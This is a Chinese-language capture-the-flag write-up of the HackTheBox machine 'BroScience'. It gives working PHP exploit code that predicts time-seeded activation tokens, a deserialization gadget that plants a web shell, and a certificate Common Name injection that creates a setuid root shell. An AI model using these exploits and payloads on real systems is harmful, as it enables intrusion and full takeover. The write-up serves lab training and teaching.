HackTheBox-Medium-Linux-BroScience
- IT业界
- 2025-08-06 13:48:01

BroScience
BroScience 是一款中等难度的 Linux 机器,其特点是 Web 应用程序容易受到“LFI”的攻击。通过读取目标上的任意文件的能力,攻击者可以深入了解帐户激活码的生成方式,从而能够创建一组可能有效的令牌来激活新创建的帐户。登录后,进一步枚举显示该站点'的主题选择器功能容易受到使用自定义小工具链的 PHP 反序列化的影响,允许攻击者复制目标系统上的文件,最终导致远程代码执行。一旦站稳了脚跟,就会从数据库中恢复一些哈希值,一旦被破解,就会证明其中包含机器的有效“SSH”密码'的主要用户“bill”。最后,权限升级基于执行 Bash 脚本的 cronjob,该脚本容易受到通过“openssl”生成的证书进行命令注入的攻击,从而丧失对攻击者的“root”访问权限。
外部信息收集 端口扫描
循例nmap
Web枚举在主页源码中可以看到img.php包含图片文件名来显示图片
但是会检测“/”,通过对%进行url enocde,实现二次url编码绕过
注册的时候需要激活码,然而这激活码是不可能发到我们的邮箱的
通过LFI读register.php,可以看到其调用utils.php中的生成函数
// Create the account include_once 'includes/utils.php'; $activation_code = generate_activation_code(); $res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1'); $res = pg_execute($db_conn, "check_code_unique_query", array($activation_code)); ... // TODO: Send the activation link to email $activation_link = "https://broscience.htb/activate.php?code={$activation_code}";跟到utils.php
它通过时间戳来做随机数种子,而与这个时间戳最接近并且我们能够获取到的,也就是register.php返回的响应头中的Date,将其转为时间戳,再做容错
首先注册一个账户
将响应头的Date拿去转换
exp
<?php function generate_activation_code($time) { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; srand($time); $activation_code = ""; for ($i = 0; $i < 32; $i++) { $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)]; } echo $activation_code . "\n"; } $time = 1704279054; for ($t = $time;$t <= $time + 20; $t++){ generate_activation_code($t); } ?>将生成的code保存到文件,ffuf跑一下
code应该是有时效的,及时到activate.php上激活
登录
Foothold继续通过LFI读user.php
跟回到utils.php
class UserPrefs { public $theme; public function __construct($theme = "light") { $this->theme = $theme; } } function get_theme() { if (isset($_SESSION['id'])) { if (!isset($_COOKIE['user-prefs'])) { $up_cookie = base64_encode(serialize(new UserPrefs())); setcookie('user-prefs', $up_cookie); } else { $up_cookie = $_COOKIE['user-prefs']; } $up = unserialize(base64_decode($up_cookie)); return $up->theme; } else { return "light"; } } ...不需要脑子的反序列化,exp
<?php class Avatar { public $imgPath; public function __construct($imgPath) { $this->imgPath = $imgPath; } public function save($tmp) { $f = fopen($this->imgPath, "w"); fwrite($f, file_get_contents($tmp)); fclose($f); } } class AvatarInterface { public $tmp = '/var/lib/php/sessions/sess_76n6mi015r86vgf1blcnmnhqtl'; public $imgPath = "/var/www/html/cmd.php"; public function __wakeup() { $a = new Avatar($this->imgPath); $a->save($this->tmp); } } $a = new AvatarInterface(); echo base64_encode(serialize($a));将base64复制到Cookie
用相同的方法注册并激活一个恶意用户,并且登录
再打一遍反序列化exp。cmd.php
常规python3 reverse shell
本地横向移动db_connect.php
psql进数据库
查表
直接select * from users;
bill是目标系统上的账户,爆破它的密码hash对我们有利,拿上前面读到的salt进行爆破
登ssh
本地权限提升传个pspy
它会先检查/home/bill/Certs/broscience.crt证书是否是一天内到期
然后它会生成一个证书,并且执行一个bash命令,而我们可以劫持$commonName
在生成证书的时候,我们向CommonName写入cmd
ill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -out broscience.crt -days 1 ... Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []:$(cp /bin/bash /tmp/bash;chmod +s /tmp/bash) Email Address []: ...等一会,迎接老朋友的到来
HackTheBox-Medium-Linux-BroScience由讯客互联IT业界栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“HackTheBox-Medium-Linux-BroScience”